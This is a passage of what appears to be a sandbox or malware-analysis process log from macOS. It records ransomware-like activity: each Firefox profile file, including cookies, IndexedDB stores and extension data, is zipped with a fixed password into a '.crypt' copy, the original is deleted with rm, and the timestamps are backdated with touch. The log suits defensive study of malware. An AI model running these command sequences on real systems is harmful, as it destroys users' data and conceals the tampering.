  PID:1161
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465369.3b0c7eb2-dd0d-431d-a504-7b4172b8b6fc.first-shutdown.jsonlz4"
  2⤵
  PID:1162
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465369.3b0c7eb2-dd0d-431d-a504-7b4172b8b6fc.first-shutdown.jsonlz4"
  2⤵
  PID:1162
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465369.3b0c7eb2-dd0d-431d-a504-7b4172b8b6fc.first-shutdown.jsonlz4.crypt"
  2⤵
  PID:1163
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465341.96f67c6c-17b1-40a2-a018-9f185fe38529.new-profile.jsonlz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465341.96f67c6c-17b1-40a2-a018-9f185fe38529.new-profile.jsonlz4"
  2⤵
  PID:1164
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465341.96f67c6c-17b1-40a2-a018-9f185fe38529.new-profile.jsonlz4"
  2⤵
  PID:1165
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465341.96f67c6c-17b1-40a2-a018-9f185fe38529.new-profile.jsonlz4"
  2⤵
  PID:1165
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465341.96f67c6c-17b1-40a2-a018-9f185fe38529.new-profile.jsonlz4.crypt"
  2⤵
  PID:1166
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465365.746e5680-70c8-4532-87b9-5de00bafdc59.main.jsonlz4.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465365.746e5680-70c8-4532-87b9-5de00bafdc59.main.jsonlz4"
  2⤵
  PID:1167
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465365.746e5680-70c8-4532-87b9-5de00bafdc59.main.jsonlz4"
  2⤵
  PID:1168
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465365.746e5680-70c8-4532-87b9-5de00bafdc59.main.jsonlz4"
  2⤵
  PID:1168
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/datareporting/archived/2024-11/1730470465365.746e5680-70c8-4532-87b9-5de00bafdc59.main.jsonlz4.crypt"
  2⤵
  PID:1169
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/cookies.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/cookies.sqlite"
  2⤵
  PID:1170
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/cookies.sqlite"
  2⤵
  PID:1171
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/cookies.sqlite"
  2⤵
  PID:1171
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/cookies.sqlite.crypt"
  2⤵
  PID:1172
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/containers.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/containers.json"
  2⤵
  PID:1173
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/containers.json"
  2⤵
  PID:1174
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/containers.json"
  2⤵
  PID:1174
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/containers.json.crypt"
  2⤵
  PID:1175
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage"
  2⤵
  PID:1176
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage"
  2⤵
  PID:1177
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage"
  2⤵
  PID:1177
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/ls-archive.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/ls-archive.sqlite"
  2⤵
  PID:1178
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/ls-archive.sqlite"
  2⤵
  PID:1179
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/ls-archive.sqlite"
  2⤵
  PID:1179
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/ls-archive.sqlite.crypt"
  2⤵
  PID:1180
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/default.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/default"
  2⤵
  PID:1181
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/default"
  2⤵
  PID:1182
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/default"
  2⤵
  PID:1182
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/temporary.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/temporary"
  2⤵
  PID:1183
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/temporary"
  2⤵
  PID:1184
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/temporary"
  2⤵
  PID:1184
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent"
  2⤵
  PID:1185
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent"
  2⤵
  PID:1186
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent"
  2⤵
  PID:1186
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome"
  2⤵
  PID:1187
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome"
  2⤵
  PID:1188
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome"
  2⤵
  PID:1188
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb"
  2⤵
  PID:1189
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb"
  2⤵
  PID:1190
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb"
  2⤵
  PID:1190
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal"
  2⤵
  PID:1191
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal"
  2⤵
  PID:1192
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal"
  2⤵
  PID:1192
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal.crypt"
  2⤵
  PID:1193
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite"
  2⤵
  PID:1194
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite"
  2⤵
  PID:1195
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite"
  2⤵
  PID:1195
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.sqlite.crypt"
  2⤵
  PID:1196
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.files"
  2⤵
  PID:1197
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.files"
  2⤵
  PID:1198
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.files"
  2⤵
  PID:1198
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite-wal"
  2⤵
  PID:1199
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite-wal"
  2⤵
  PID:1200
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite-wal"
  2⤵
  PID:1200
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite-wal.crypt"
  2⤵
  PID:1201
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite"
  2⤵
  PID:1202
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite"
  2⤵
  PID:1203
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite"
  2⤵
  PID:1203
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite.crypt"
  2⤵
  PID:1204
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.files"
  2⤵
  PID:1205
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.files"
  2⤵
  PID:1206
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.files"
  2⤵
  PID:1206
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.files"
  2⤵
  PID:1207
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.files"
  2⤵
  PID:1208
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3561288849sdhlie.files"
  2⤵
  PID:1208
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite"
  2⤵
  PID:1209
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite"
  2⤵
  PID:1210
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite"
  2⤵
  PID:1210
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite.crypt"
  2⤵
  PID:1211
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal"
  2⤵
  PID:1212
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal"
  2⤵
  PID:1213
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal"
  2⤵
  PID:1213
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal.crypt"
  2⤵
  PID:1214
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite"
  2⤵
  PID:1215
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite"
  2⤵
  PID:1216
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite"
  2⤵
  PID:1216
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite.crypt"
  2⤵
  PID:1217
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.files"
  2⤵
  PID:1218
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.files"
  2⤵
  PID:1219
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.files"
  2⤵
  PID:1219
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.files"
  2⤵
  PID:1220
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.files"
  2⤵
  PID:1221
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.files"
  2⤵
  PID:1221
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal"
  2⤵
  PID:1222
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal"
  2⤵
  PID:1223
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal"
  2⤵
  PID:1223
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal.crypt"
  2⤵
  PID:1224
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.files.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.files"
  2⤵
  PID:1225
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.files"
  2⤵
  PID:1226
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.files"
  2⤵
  PID:1226
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite"
  2⤵
  PID:1227
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite"
  2⤵
  PID:1228
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite"
  2⤵
  PID:1228
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/2918063365piupsah.sqlite.crypt"
  2⤵
  PID:1229
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal"
  2⤵
  PID:1230
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal"
  2⤵
  PID:1231
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal"
  2⤵
  PID:1231
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal.crypt"
  2⤵
  PID:1232
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite"
  2⤵
  PID:1233
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite"
  2⤵
  PID:1238
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite"
  2⤵
  PID:1238
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite.crypt"
  2⤵
  PID:1239
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal"
  2⤵
  PID:1240
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal"
  2⤵
  PID:1241
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal"
  2⤵
  PID:1241
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal.crypt"
  2⤵
  PID:1242
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/.metadata-v2.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/.metadata-v2"
  2⤵
  PID:1243
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/.metadata-v2"
  2⤵
  PID:1244
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/.metadata-v2"
  2⤵
  PID:1244
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/storage/permanent/chrome/.metadata-v2.crypt"
  2⤵
  PID:1245
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extensions.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extensions.json"
  2⤵
  PID:1246
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extensions.json"
  2⤵
  PID:1247
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extensions.json"
  2⤵
  PID:1247
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/extensions.json.crypt"
  2⤵
  PID:1248
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/handlers.json.crypt" "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/handlers.json"
  2⤵
  PID:1249
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/handlers.json"
  2⤵
  PID:1250
- /bin/rm
  rm "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/handlers.json"
  2⤵
  PID:1250
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Firefox/Profiles/jn1yfz0m.dev-edition-default/handlers.json.crypt"
  2⤵
  PID:1251
- /usr/bin/zip
